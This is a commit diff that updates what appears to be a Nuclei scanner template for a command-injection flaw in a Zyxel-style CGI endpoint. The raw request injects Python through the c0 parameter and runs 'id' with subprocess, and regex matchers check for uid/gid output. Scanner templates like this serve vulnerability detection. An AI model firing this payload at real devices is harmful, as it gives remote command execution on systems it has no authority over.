updated matchers

patch-4
Ritik Chaddha 2024-06-19 16:42:01 +05:30 committed by GitHub
parent 6f52cb2404
commit ab764a0ace
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 8 additions and 10 deletions

View File

@ -27,16 +27,14 @@ info:
http: http:
- raw: - raw:
- | - |
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+and+False+or+_import_("subprocess").check_output("id",+shell=True)%23 HTTP/1.1 GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
matchers-condition: and
matchers: matchers:
- type: regex - type: dsl
part: body dsl:
regex: - "status_code == 200"
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)' - "contains(body, 'errmsg0\": \"OK')"
- "contains(header, 'application/json')"
- type: status - regex('uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)', body)
status: condition: and
- 200